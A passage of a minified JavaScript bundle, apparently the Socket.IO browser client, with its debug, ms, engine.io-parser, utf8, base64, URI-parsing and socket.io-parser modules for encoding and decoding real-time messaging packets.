r}exports.enable(load())},{\"./debug\":23}],23:[function(_dereq_,module,exports){exports=module.exports=debug;exports.coerce=coerce;exports.disable=disable;exports.enable=enable;exports.enabled=enabled;exports.humanize=_dereq_(\"ms\");exports.names=[];exports.skips=[];exports.formatters={};var prevColor=0;var prevTime;function selectColor(){return exports.colors[prevColor++%exports.colors.length]}function debug(namespace){function disabled(){}disabled.enabled=false;function enabled(){var self=enabled;var curr=+new Date;var ms=curr-(prevTime||curr);self.diff=ms;self.prev=prevTime;self.curr=curr;prevTime=curr;if(null==self.useColors)self.useColors=exports.useColors();if(null==self.color&&self.useColors)self.color=selectColor();var args=Array.prototype.slice.call(arguments);args[0]=exports.coerce(args[0]);if(\"string\"!==typeof args[0]){args=[\"%o\"].concat(args)}var index=0;args[0]=args[0].replace(/%([a-z%])/g,function(match,format){if(match===\"%\")return match;index++;var formatter=exports.formatters[format];if(\"function\"===typeof formatter){var val=args[index];match=formatter.call(self,val);args.splice(index,1);index--}return match});if(\"function\"===typeof exports.formatArgs){args=exports.formatArgs.apply(self,args)}var logFn=enabled.log||exports.log||console.log.bind(console);logFn.apply(self,args)}enabled.enabled=true;var fn=exports.enabled(namespace)?enabled:disabled;fn.namespace=namespace;return fn}function enable(namespaces){exports.save(namespaces);var split=(namespaces||\"\").split(/[\\s,]+/);var len=split.length;for(var i=0;i<len;i++){if(!split[i])continue;namespaces=split[i].replace(/\\*/g,\".*?\");if(namespaces[0]===\"-\"){exports.skips.push(new RegExp(\"^\"+namespaces.substr(1)+\"$\"))}else{exports.names.push(new RegExp(\"^\"+namespaces+\"$\"))}}}function disable(){exports.enable(\"\")}function enabled(name){var i,len;for(i=0,len=exports.skips.length;i<len;i++){if(exports.skips[i].test(name)){return false}}for(i=0,len=exports.names.length;i<len;i++){if(exports.names[i].test(name)){return true}}return false}function coerce(val){if(val instanceof Error)return val.stack||val.message;return val}},{ms:24}],24:[function(_dereq_,module,exports){var s=1e3;var m=s*60;var h=m*60;var d=h*24;var y=d*365.25;module.exports=function(val,options){options=options||{};if(\"string\"==typeof val)return parse(val);return options.long?long(val):short(val)};function parse(str){var match=/^((?:\\d+)?\\.?\\d+) *(ms|seconds?|s|minutes?|m|hours?|h|days?|d|years?|y)?$/i.exec(str);if(!match)return;var n=parseFloat(match[1]);var type=(match[2]||\"ms\").toLowerCase();switch(type){case\"years\":case\"year\":case\"y\":return n*y;case\"days\":case\"day\":case\"d\":return n*d;case\"hours\":case\"hour\":case\"h\":return n*h;case\"minutes\":case\"minute\":case\"m\":return n*m;case\"seconds\":case\"second\":case\"s\":return n*s;case\"ms\":return n}}function short(ms){if(ms>=d)return Math.round(ms/d)+\"d\";if(ms>=h)return Math.round(ms/h)+\"h\";if(ms>=m)return Math.round(ms/m)+\"m\";if(ms>=s)return Math.round(ms/s)+\"s\";return ms+\"ms\"}function long(ms){return plural(ms,d,\"day\")||plural(ms,h,\"hour\")||plural(ms,m,\"minute\")||plural(ms,s,\"second\")||ms+\" ms\"}function plural(ms,n,name){if(ms<n)return;if(ms<n*1.5)return Math.floor(ms/n)+\" \"+name;return Math.ceil(ms/n)+\" \"+name+\"s\"}},{}],25:[function(_dereq_,module,exports){(function(global){var keys=_dereq_(\"./keys\");var hasBinary=_dereq_(\"has-binary\");var sliceBuffer=_dereq_(\"arraybuffer.slice\");var base64encoder=_dereq_(\"base64-arraybuffer\");var after=_dereq_(\"after\");var utf8=_dereq_(\"utf8\");var isAndroid=navigator.userAgent.match(/Android/i);var isPhantomJS=/PhantomJS/i.test(navigator.userAgent);var dontSendBlobs=isAndroid||isPhantomJS;exports.protocol=3;var packets=exports.packets={open:0,close:1,ping:2,pong:3,message:4,upgrade:5,noop:6};var packetslist=keys(packets);var err={type:\"error\",data:\"parser error\"};var Blob=_dereq_(\"blob\");exports.encodePacket=function(packet,supportsBinary,utf8encode,callback){if(\"function\"==typeof supportsBinary){callback=supportsBinary;supportsBinary=false}if(\"function\"==typeof utf8encode){callback=utf8encode;utf8encode=null}var data=packet.data===undefined?undefined:packet.data.buffer||packet.data;if(global.ArrayBuffer&&data instanceof ArrayBuffer){return encodeArrayBuffer(packet,supportsBinary,callback)}else if(Blob&&data instanceof global.Blob){return encodeBlob(packet,supportsBinary,callback)}if(data&&data.base64){return encodeBase64Object(packet,callback)}var encoded=packets[packet.type];if(undefined!==packet.data){encoded+=utf8encode?utf8.encode(String(packet.data)):String(packet.data)}return callback(\"\"+encoded)};function encodeBase64Object(packet,callback){var message=\"b\"+exports.packets[packet.type]+packet.data.data;return callback(message)}function encodeArrayBuffer(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}var data=packet.data;var contentArray=new Uint8Array(data);var resultBuffer=new Uint8Array(1+data.byteLength);resultBuffer[0]=packets[packet.type];for(var i=0;i<contentArray.length;i++){resultBuffer[i+1]=contentArray[i]}return callback(resultBuffer.buffer)}function encodeBlobAsArrayBuffer(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}var fr=new FileReader;fr.onload=function(){packet.data=fr.result;exports.encodePacket(packet,supportsBinary,true,callback)};return fr.readAsArrayBuffer(packet.data)}function encodeBlob(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}if(dontSendBlobs){return encodeBlobAsArrayBuffer(packet,supportsBinary,callback)}var length=new Uint8Array(1);length[0]=packets[packet.type];var blob=new Blob([length.buffer,packet.data]);return callback(blob)}exports.encodeBase64Packet=function(packet,callback){var message=\"b\"+exports.packets[packet.type];if(Blob&&packet.data instanceof Blob){var fr=new FileReader;fr.onload=function(){var b64=fr.result.split(\",\")[1];callback(message+b64)};return fr.readAsDataURL(packet.data)}var b64data;try{b64data=String.fromCharCode.apply(null,new Uint8Array(packet.data))}catch(e){var typed=new Uint8Array(packet.data);var basic=new Array(typed.length);for(var i=0;i<typed.length;i++){basic[i]=typed[i]}b64data=String.fromCharCode.apply(null,basic)}message+=global.btoa(b64data);return callback(message)};exports.decodePacket=function(data,binaryType,utf8decode){if(typeof data==\"string\"||data===undefined){if(data.charAt(0)==\"b\"){return exports.decodeBase64Packet(data.substr(1),binaryType)}if(utf8decode){try{data=utf8.decode(data)}catch(e){return err}}var type=data.charAt(0);if(Number(type)!=type||!packetslist[type]){return err}if(data.length>1){return{type:packetslist[type],data:data.substring(1)}}else{return{type:packetslist[type]}}}var asArray=new Uint8Array(data);var type=asArray[0];var rest=sliceBuffer(data,1);if(Blob&&binaryType===\"blob\"){rest=new Blob([rest])}return{type:packetslist[type],data:rest}};exports.decodeBase64Packet=function(msg,binaryType){var type=packetslist[msg.charAt(0)];if(!global.ArrayBuffer){return{type:type,data:{base64:true,data:msg.substr(1)}}}var data=base64encoder.decode(msg.substr(1));if(binaryType===\"blob\"&&Blob){data=new Blob([data])}return{type:type,data:data}};exports.encodePayload=function(packets,supportsBinary,callback){if(typeof supportsBinary==\"function\"){callback=supportsBinary;supportsBinary=null}var isBinary=hasBinary(packets);if(supportsBinary&&isBinary){if(Blob&&!dontSendBlobs){return exports.encodePayloadAsBlob(packets,callback)}return exports.encodePayloadAsArrayBuffer(packets,callback)}if(!packets.length){return callback(\"0:\")}function setLengthHeader(message){return message.length+\":\"+message}function encodeOne(packet,doneCallback){exports.encodePacket(packet,!isBinary?false:supportsBinary,true,function(message){doneCallback(null,setLengthHeader(message))})}map(packets,encodeOne,function(err,results){return callback(results.join(\"\"))})};function map(ary,each,done){var result=new Array(ary.length);var next=after(ary.length,done);var eachWithIndex=function(i,el,cb){each(el,function(error,msg){result[i]=msg;cb(error,result)})};for(var i=0;i<ary.length;i++){eachWithIndex(i,ary[i],next)}}exports.decodePayload=function(data,binaryType,callback){if(typeof data!=\"string\"){return exports.decodePayloadAsBinary(data,binaryType,callback)}if(typeof binaryType===\"function\"){callback=binaryType;binaryType=null}var packet;if(data==\"\"){return callback(err,0,1)}var length=\"\",n,msg;for(var i=0,l=data.length;i<l;i++){var chr=data.charAt(i);if(\":\"!=chr){length+=chr}else{if(\"\"==length||length!=(n=Number(length))){return callback(err,0,1)}msg=data.substr(i+1,n);if(length!=msg.length){return callback(err,0,1)}if(msg.length){packet=exports.decodePacket(msg,binaryType,true);if(err.type==packet.type&&err.data==packet.data){return callback(err,0,1)}var ret=callback(packet,i+n,l);if(false===ret)return}i+=n;length=\"\"}}if(length!=\"\"){return callback(err,0,1)}};exports.encodePayloadAsArrayBuffer=function(packets,callback){if(!packets.length){return callback(new ArrayBuffer(0))}function encodeOne(packet,doneCallback){exports.encodePacket(packet,true,true,function(data){return doneCallback(null,data)})}map(packets,encodeOne,function(err,encodedPackets){var totalLength=encodedPackets.reduce(function(acc,p){var len;if(typeof p===\"string\"){len=p.length}else{len=p.byteLength}return acc+len.toString().length+len+2},0);var resultArray=new Uint8Array(totalLength);var bufferIndex=0;encodedPackets.forEach(function(p){var isString=typeof p===\"string\";var ab=p;if(isString){var view=new Uint8Array(p.length);for(var i=0;i<p.length;i++){view[i]=p.charCodeAt(i)}ab=view.buffer}if(isString){resultArray[bufferIndex++]=0}else{resultArray[bufferIndex++]=1}var lenStr=ab.byteLength.toString();for(var i=0;i<lenStr.length;i++){resultArray[bufferIndex++]=parseInt(lenStr[i])}resultArray[bufferIndex++]=255;var view=new Uint8Array(ab);for(var i=0;i<view.length;i++){resultArray[bufferIndex++]=view[i]}});return callback(resultArray.buffer)})};exports.encodePayloadAsBlob=function(packets,callback){function encodeOne(packet,doneCallback){exports.encodePacket(packet,true,true,function(encoded){var binaryIdentifier=new Uint8Array(1);binaryIdentifier[0]=1;if(typeof encoded===\"string\"){var view=new Uint8Array(encoded.length);for(var i=0;i<encoded.length;i++){view[i]=encoded.charCodeAt(i)}encoded=view.buffer;binaryIdentifier[0]=0}var len=encoded instanceof ArrayBuffer?encoded.byteLength:encoded.size;var lenStr=len.toString();var lengthAry=new Uint8Array(lenStr.length+1);for(var i=0;i<lenStr.length;i++){lengthAry[i]=parseInt(lenStr[i])}lengthAry[lenStr.length]=255;if(Blob){var blob=new Blob([binaryIdentifier.buffer,lengthAry.buffer,encoded]);doneCallback(null,blob)}})}map(packets,encodeOne,function(err,results){return callback(new Blob(results))})};exports.decodePayloadAsBinary=function(data,binaryType,callback){if(typeof binaryType===\"function\"){callback=binaryType;binaryType=null}var bufferTail=data;var buffers=[];var numberTooLong=false;while(bufferTail.byteLength>0){var tailArray=new Uint8Array(bufferTail);var isString=tailArray[0]===0;var msgLength=\"\";for(var i=1;;i++){if(tailArray[i]==255)break;if(msgLength.length>310){numberTooLong=true;break}msgLength+=tailArray[i]}if(numberTooLong)return callback(err,0,1);bufferTail=sliceBuffer(bufferTail,2+msgLength.length);msgLength=parseInt(msgLength);var msg=sliceBuffer(bufferTail,0,msgLength);if(isString){try{msg=String.fromCharCode.apply(null,new Uint8Array(msg))}catch(e){var typed=new Uint8Array(msg);msg=\"\";for(var i=0;i<typed.length;i++){msg+=String.fromCharCode(typed[i])}}}buffers.push(msg);bufferTail=sliceBuffer(bufferTail,msgLength)}var total=buffers.length;buffers.forEach(function(buffer,i){callback(exports.decodePacket(buffer,binaryType,true),i,total)})}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./keys\":26,after:27,\"arraybuffer.slice\":28,\"base64-arraybuffer\":29,blob:30,\"has-binary\":31,utf8:33}],26:[function(_dereq_,module,exports){module.exports=Object.keys||function keys(obj){var arr=[];var has=Object.prototype.hasOwnProperty;for(var i in obj){if(has.call(obj,i)){arr.push(i)}}return arr}},{}],27:[function(_dereq_,module,exports){module.exports=after;function after(count,callback,err_cb){var bail=false;err_cb=err_cb||noop;proxy.count=count;return count===0?callback():proxy;function proxy(err,result){if(proxy.count<=0){throw new Error(\"after called too many times\")}--proxy.count;if(err){bail=true;callback(err);callback=err_cb}else if(proxy.count===0&&!bail){callback(null,result)}}}function noop(){}},{}],28:[function(_dereq_,module,exports){module.exports=function(arraybuffer,start,end){var bytes=arraybuffer.byteLength;start=start||0;end=end||bytes;if(arraybuffer.slice){return arraybuffer.slice(start,end)}if(start<0){start+=bytes}if(end<0){end+=bytes}if(end>bytes){end=bytes}if(start>=bytes||start>=end||bytes===0){return new ArrayBuffer(0)}var abv=new Uint8Array(arraybuffer);var result=new Uint8Array(end-start);for(var i=start,ii=0;i<end;i++,ii++){result[ii]=abv[i]}return result.buffer}},{}],29:[function(_dereq_,module,exports){(function(chars){\"use strict\";exports.encode=function(arraybuffer){var bytes=new Uint8Array(arraybuffer),i,len=bytes.length,base64=\"\";for(i=0;i<len;i+=3){base64+=chars[bytes[i]>>2];base64+=chars[(bytes[i]&3)<<4|bytes[i+1]>>4];base64+=chars[(bytes[i+1]&15)<<2|bytes[i+2]>>6];base64+=chars[bytes[i+2]&63]}if(len%3===2){base64=base64.substring(0,base64.length-1)+\"=\"}else if(len%3===1){base64=base64.substring(0,base64.length-2)+\"==\"}return base64};exports.decode=function(base64){var bufferLength=base64.length*.75,len=base64.length,i,p=0,encoded1,encoded2,encoded3,encoded4;if(base64[base64.length-1]===\"=\"){bufferLength--;if(base64[base64.length-2]===\"=\"){bufferLength--}}var arraybuffer=new ArrayBuffer(bufferLength),bytes=new Uint8Array(arraybuffer);for(i=0;i<len;i+=4){encoded1=chars.indexOf(base64[i]);encoded2=chars.indexOf(base64[i+1]);encoded3=chars.indexOf(base64[i+2]);encoded4=chars.indexOf(base64[i+3]);bytes[p++]=encoded1<<2|encoded2>>4;bytes[p++]=(encoded2&15)<<4|encoded3>>2;bytes[p++]=(encoded3&3)<<6|encoded4&63}return arraybuffer}})(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\")},{}],30:[function(_dereq_,module,exports){(function(global){var BlobBuilder=global.BlobBuilder||global.WebKitBlobBuilder||global.MSBlobBuilder||global.MozBlobBuilder;var blobSupported=function(){try{var b=new Blob([\"hi\"]);return b.size==2}catch(e){return false}}();var blobBuilderSupported=BlobBuilder&&BlobBuilder.prototype.append&&BlobBuilder.prototype.getBlob;function BlobBuilderConstructor(ary,options){options=options||{};var bb=new BlobBuilder;for(var i=0;i<ary.length;i++){bb.append(ary[i])}return options.type?bb.getBlob(options.type):bb.getBlob()}module.exports=function(){if(blobSupported){return global.Blob}else if(blobBuilderSupported){return BlobBuilderConstructor}else{return undefined}}()}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],31:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");module.exports=hasBinary;function hasBinary(data){function _hasBinary(obj){if(!obj)return false;if(global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer||global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){return true}if(isArray(obj)){for(var i=0;i<obj.length;i++){if(_hasBinary(obj[i])){return true}}}else if(obj&&\"object\"==typeof obj){if(obj.toJSON){obj=obj.toJSON()}for(var key in obj){if(obj.hasOwnProperty(key)&&_hasBinary(obj[key])){return true}}}return false}return _hasBinary(data)}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{isarray:32}],32:[function(_dereq_,module,exports){module.exports=Array.isArray||function(arr){return Object.prototype.toString.call(arr)==\"[object Array]\"}},{}],33:[function(_dereq_,module,exports){(function(global){(function(root){var freeExports=typeof exports==\"object\"&&exports;var freeModule=typeof module==\"object\"&&module&&module.exports==freeExports&&module;var freeGlobal=typeof global==\"object\"&&global;if(freeGlobal.global===freeGlobal||freeGlobal.window===freeGlobal){root=freeGlobal}var stringFromCharCode=String.fromCharCode;function ucs2decode(string){var output=[];var counter=0;var length=string.length;var value;var extra;while(counter<length){value=string.charCodeAt(counter++);if(value>=55296&&value<=56319&&counter<length){extra=string.charCodeAt(counter++);\nif((extra&64512)==56320){output.push(((value&1023)<<10)+(extra&1023)+65536)}else{output.push(value);counter--}}else{output.push(value)}}return output}function ucs2encode(array){var length=array.length;var index=-1;var value;var output=\"\";while(++index<length){value=array[index];if(value>65535){value-=65536;output+=stringFromCharCode(value>>>10&1023|55296);value=56320|value&1023}output+=stringFromCharCode(value)}return output}function createByte(codePoint,shift){return stringFromCharCode(codePoint>>shift&63|128)}function encodeCodePoint(codePoint){if((codePoint&4294967168)==0){return stringFromCharCode(codePoint)}var symbol=\"\";if((codePoint&4294965248)==0){symbol=stringFromCharCode(codePoint>>6&31|192)}else if((codePoint&4294901760)==0){symbol=stringFromCharCode(codePoint>>12&15|224);symbol+=createByte(codePoint,6)}else if((codePoint&4292870144)==0){symbol=stringFromCharCode(codePoint>>18&7|240);symbol+=createByte(codePoint,12);symbol+=createByte(codePoint,6)}symbol+=stringFromCharCode(codePoint&63|128);return symbol}function utf8encode(string){var codePoints=ucs2decode(string);var length=codePoints.length;var index=-1;var codePoint;var byteString=\"\";while(++index<length){codePoint=codePoints[index];byteString+=encodeCodePoint(codePoint)}return byteString}function readContinuationByte(){if(byteIndex>=byteCount){throw Error(\"Invalid byte index\")}var continuationByte=byteArray[byteIndex]&255;byteIndex++;if((continuationByte&192)==128){return continuationByte&63}throw Error(\"Invalid continuation byte\")}function decodeSymbol(){var byte1;var byte2;var byte3;var byte4;var codePoint;if(byteIndex>byteCount){throw Error(\"Invalid byte index\")}if(byteIndex==byteCount){return false}byte1=byteArray[byteIndex]&255;byteIndex++;if((byte1&128)==0){return byte1}if((byte1&224)==192){var byte2=readContinuationByte();codePoint=(byte1&31)<<6|byte2;if(codePoint>=128){return codePoint}else{throw Error(\"Invalid continuation byte\")}}if((byte1&240)==224){byte2=readContinuationByte();byte3=readContinuationByte();codePoint=(byte1&15)<<12|byte2<<6|byte3;if(codePoint>=2048){return codePoint}else{throw Error(\"Invalid continuation byte\")}}if((byte1&248)==240){byte2=readContinuationByte();byte3=readContinuationByte();byte4=readContinuationByte();codePoint=(byte1&15)<<18|byte2<<12|byte3<<6|byte4;if(codePoint>=65536&&codePoint<=1114111){return codePoint}}throw Error(\"Invalid UTF-8 detected\")}var byteArray;var byteCount;var byteIndex;function utf8decode(byteString){byteArray=ucs2decode(byteString);byteCount=byteArray.length;byteIndex=0;var codePoints=[];var tmp;while((tmp=decodeSymbol())!==false){codePoints.push(tmp)}return ucs2encode(codePoints)}var utf8={version:\"2.0.0\",encode:utf8encode,decode:utf8decode};if(typeof define==\"function\"&&typeof define.amd==\"object\"&&define.amd){define(function(){return utf8})}else if(freeExports&&!freeExports.nodeType){if(freeModule){freeModule.exports=utf8}else{var object={};var hasOwnProperty=object.hasOwnProperty;for(var key in utf8){hasOwnProperty.call(utf8,key)&&(freeExports[key]=utf8[key])}}}else{root.utf8=utf8}})(this)}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],34:[function(_dereq_,module,exports){(function(global){var rvalidchars=/^[\\],:{}\\s]*$/;var rvalidescape=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g;var rvalidtokens=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g;var rvalidbraces=/(?:^|:|,)(?:\\s*\\[)+/g;var rtrimLeft=/^\\s+/;var rtrimRight=/\\s+$/;module.exports=function parsejson(data){if(\"string\"!=typeof data||!data){return null}data=data.replace(rtrimLeft,\"\").replace(rtrimRight,\"\");if(global.JSON&&JSON.parse){return JSON.parse(data)}if(rvalidchars.test(data.replace(rvalidescape,\"@\").replace(rvalidtokens,\"]\").replace(rvalidbraces,\"\"))){return new Function(\"return \"+data)()}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],35:[function(_dereq_,module,exports){exports.encode=function(obj){var str=\"\";for(var i in obj){if(obj.hasOwnProperty(i)){if(str.length)str+=\"&\";str+=encodeURIComponent(i)+\"=\"+encodeURIComponent(obj[i])}}return str};exports.decode=function(qs){var qry={};var pairs=qs.split(\"&\");for(var i=0,l=pairs.length;i<l;i++){var pair=pairs[i].split(\"=\");qry[decodeURIComponent(pair[0])]=decodeURIComponent(pair[1])}return qry}},{}],36:[function(_dereq_,module,exports){var re=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/;var parts=[\"source\",\"protocol\",\"authority\",\"userInfo\",\"user\",\"password\",\"host\",\"port\",\"relative\",\"path\",\"directory\",\"file\",\"query\",\"anchor\"];module.exports=function parseuri(str){var src=str,b=str.indexOf(\"[\"),e=str.indexOf(\"]\");if(b!=-1&&e!=-1){str=str.substring(0,b)+str.substring(b,e).replace(/:/g,\";\")+str.substring(e,str.length)}var m=re.exec(str||\"\"),uri={},i=14;while(i--){uri[parts[i]]=m[i]||\"\"}if(b!=-1&&e!=-1){uri.source=src;uri.host=uri.host.substring(1,uri.host.length-1).replace(/;/g,\":\");uri.authority=uri.authority.replace(\"[\",\"\").replace(\"]\",\"\").replace(/;/g,\":\");uri.ipv6uri=true}return uri}},{}],37:[function(_dereq_,module,exports){var global=function(){return this}();var WebSocket=global.WebSocket||global.MozWebSocket;module.exports=WebSocket?ws:null;function ws(uri,protocols,opts){var instance;if(protocols){instance=new WebSocket(uri,protocols)}else{instance=new WebSocket(uri)}return instance}if(WebSocket)ws.prototype=WebSocket.prototype},{}],38:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");module.exports=hasBinary;function hasBinary(data){function _hasBinary(obj){if(!obj)return false;if(global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer||global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){return true}if(isArray(obj)){for(var i=0;i<obj.length;i++){if(_hasBinary(obj[i])){return true}}}else if(obj&&\"object\"==typeof obj){if(obj.toJSON){obj=obj.toJSON()}for(var key in obj){if(Object.prototype.hasOwnProperty.call(obj,key)&&_hasBinary(obj[key])){return true}}}return false}return _hasBinary(data)}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{isarray:39}],39:[function(_dereq_,module,exports){module.exports=_dereq_(32)},{}],40:[function(_dereq_,module,exports){var global=_dereq_(\"global\");try{module.exports=\"XMLHttpRequest\"in global&&\"withCredentials\"in new global.XMLHttpRequest}catch(err){module.exports=false}},{global:41}],41:[function(_dereq_,module,exports){module.exports=function(){return this}()},{}],42:[function(_dereq_,module,exports){var indexOf=[].indexOf;module.exports=function(arr,obj){if(indexOf)return arr.indexOf(obj);for(var i=0;i<arr.length;++i){if(arr[i]===obj)return i}return-1}},{}],43:[function(_dereq_,module,exports){var has=Object.prototype.hasOwnProperty;exports.keys=Object.keys||function(obj){var keys=[];for(var key in obj){if(has.call(obj,key)){keys.push(key)}}return keys};exports.values=function(obj){var vals=[];for(var key in obj){if(has.call(obj,key)){vals.push(obj[key])}}return vals};exports.merge=function(a,b){for(var key in b){if(has.call(b,key)){a[key]=b[key]}}return a};exports.length=function(obj){return exports.keys(obj).length};exports.isEmpty=function(obj){return 0==exports.length(obj)}},{}],44:[function(_dereq_,module,exports){var re=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/;var parts=[\"source\",\"protocol\",\"authority\",\"userInfo\",\"user\",\"password\",\"host\",\"port\",\"relative\",\"path\",\"directory\",\"file\",\"query\",\"anchor\"];module.exports=function parseuri(str){var m=re.exec(str||\"\"),uri={},i=14;while(i--){uri[parts[i]]=m[i]||\"\"}return uri}},{}],45:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");var isBuf=_dereq_(\"./is-buffer\");exports.deconstructPacket=function(packet){var buffers=[];var packetData=packet.data;function _deconstructPacket(data){if(!data)return data;if(isBuf(data)){var placeholder={_placeholder:true,num:buffers.length};buffers.push(data);return placeholder}else if(isArray(data)){var newData=new Array(data.length);for(var i=0;i<data.length;i++){newData[i]=_deconstructPacket(data[i])}return newData}else if(\"object\"==typeof data&&!(data instanceof Date)){var newData={};for(var key in data){newData[key]=_deconstructPacket(data[key])}return newData}return data}var pack=packet;pack.data=_deconstructPacket(packetData);pack.attachments=buffers.length;return{packet:pack,buffers:buffers}};exports.reconstructPacket=function(packet,buffers){var curPlaceHolder=0;function _reconstructPacket(data){if(data&&data._placeholder){var buf=buffers[data.num];return buf}else if(isArray(data)){for(var i=0;i<data.length;i++){data[i]=_reconstructPacket(data[i])}return data}else if(data&&\"object\"==typeof data){for(var key in data){data[key]=_reconstructPacket(data[key])}return data}return data}packet.data=_reconstructPacket(packet.data);packet.attachments=undefined;return packet};exports.removeBlobs=function(data,callback){function _removeBlobs(obj,curKey,containingObject){if(!obj)return obj;if(global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){pendingBlobs++;var fileReader=new FileReader;fileReader.onload=function(){if(containingObject){containingObject[curKey]=this.result}else{bloblessData=this.result}if(!--pendingBlobs){callback(bloblessData)}};fileReader.readAsArrayBuffer(obj)}else if(isArray(obj)){for(var i=0;i<obj.length;i++){_removeBlobs(obj[i],i,obj)}}else if(obj&&\"object\"==typeof obj&&!isBuf(obj)){for(var key in obj){_removeBlobs(obj[key],key,obj)}}}var pendingBlobs=0;var bloblessData=data;_removeBlobs(bloblessData);if(!pendingBlobs){callback(bloblessData)}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./is-buffer\":47,isarray:48}],46:[function(_dereq_,module,exports){var debug=_dereq_(\"debug\")(\"socket.io-parser\");var json=_dereq_(\"json3\");var isArray=_dereq_(\"isarray\");var Emitter=_dereq_(\"component-emitter\");var binary=_dereq_(\"./binary\");var isBuf=_dereq_(\"./is-buffer\");exports.protocol=4;exports.types=[\"CONNECT\",\"DISCONNECT\",\"EVENT\",\"BINARY_EVENT\",\"ACK\",\"BINARY_ACK\",\"ERROR\"];exports.CONNECT=0;exports.DISCONNECT=1;exports.EVENT=2;exports.ACK=3;exports.ERROR=4;exports.BINARY_EVENT=5;exports.BINARY_ACK=6;exports.Encoder=Encoder;exports.Decoder=Decoder;function Encoder(){}Encoder.prototype.encode=function(obj,callback){debug(\"encoding packet %j\",obj);if(exports.BINARY_EVENT==obj.type||exports.BINARY_ACK==obj.type){encodeAsBinary(obj,callback)}else{var encoding=encodeAsString(obj);callback([encoding])}};function encodeAsString(obj){var str=\"\";var nsp=false;str+=obj.type;if(exports.BINARY_EVENT==obj.type||exports.BINARY_ACK==obj.type){str+=obj.attachments;str+=\"-\"}if(obj.nsp&&\"/\"!=obj.nsp){nsp=true;str+=obj.nsp}if(null!=obj.id){if(nsp){str+=\",\";nsp=false}str+=obj.id}if(null!=obj.data){if(nsp)str+=\",\";str+=json.stringify(obj.data)}debug(\"encoded %j as %s\",obj,str);return str}function encodeAsBinary(obj,callback){function writeEncoding(bloblessData){var deconstruction=binary.deconstructPacket(bloblessData);var pack=encodeAsString(deconstruction.packet);var buffers=deconstruction.buffers;buffers.unshift(pack);callback(buffers)}binary.removeBlobs(obj,writeEncoding)}function Decoder(){this.reconstructor=null}Emitter(Decoder.prototype);Decoder.prototype.add=function(obj){var packet;if(\"string\"==typeof obj){packet=decodeString(obj);if(exports.BINARY_EVENT==packet.type||exports.BINARY_ACK==packet.type){this.reconstructor=new BinaryReconstructor(packet);if(this.reconstructor.reconPack.attachments===0){this.emit(\"decoded\",packet)}}else{this.emit(\"decoded\",packet)}}else if(isBuf(obj)||obj.base64){if(!this.reconstructor){throw new Error(\"got binary data when not reconstructing a packet\")}else{packet=this.reconstructor.takeBinaryData(obj);if(packet){this.reconstructor=null;this.emit(\"decoded\",packet)}}}else{throw new Error(\"Unknown type: \"+obj)}};function decodeString(str){var p={};var i=0;p.type=Number(str.charAt(0));if(null==exports.types[p.type])return error();if(exports.BINARY_EVENT==p.type||exports.BINARY_ACK==p.type){var buf=\"\";while(str.charAt(++i)!=\"-\"){buf+=str.charAt(i);if(i+1==str.length)break}if(buf!=Number(buf)||str.charAt(i)!=\"-\"){throw new Error(\"Illegal attachments\")}p.attachments=Number(buf)}if(\"/\"==str.charAt(i+1)){p.nsp=\"\";while(++i){var c=str.charAt(i);if(\",\"==c)break;p.nsp+=c;if(i+1==str.length)break}}else{p.nsp=\"/\"}var next=str.charAt(i+1);if(\"\"!==next&&Number(next)==next){p.id=\"\";while(++i){var c=str.charAt(i);if(null==c||Number(c)!=c){--i;break}p.id+=str.charAt(i);if(i+1==str.length)break}p.id=Number(p.id)}if(str.charAt(++i)){try{p.data=json.parse(str.substr(i))}catch(e){return error()}}debug(\"decoded %s as %j\",str,p);return p}Decoder.prototype.destroy=function(){if(this.reconstructor){this.reconstructor.finishedReconstruction()}};function BinaryReconstructor(packet){this.reconPack=packet;this.buffers=[]}BinaryReconstructor.prototype.takeBinaryData=function(binData){this.buffers.push(binData);if(this.buffers.length==this.reconPack.attachments){var packet=binary.reconstructPacket(this.reconPack,this.buffers);this.finishedReconstruction();return packet}return null};BinaryReconstructor.prototype.finishedReconstruction=function(){this.reconPack=null;this.buffers=[]};function error(data){return{type:exports.ERROR,data:\"parser 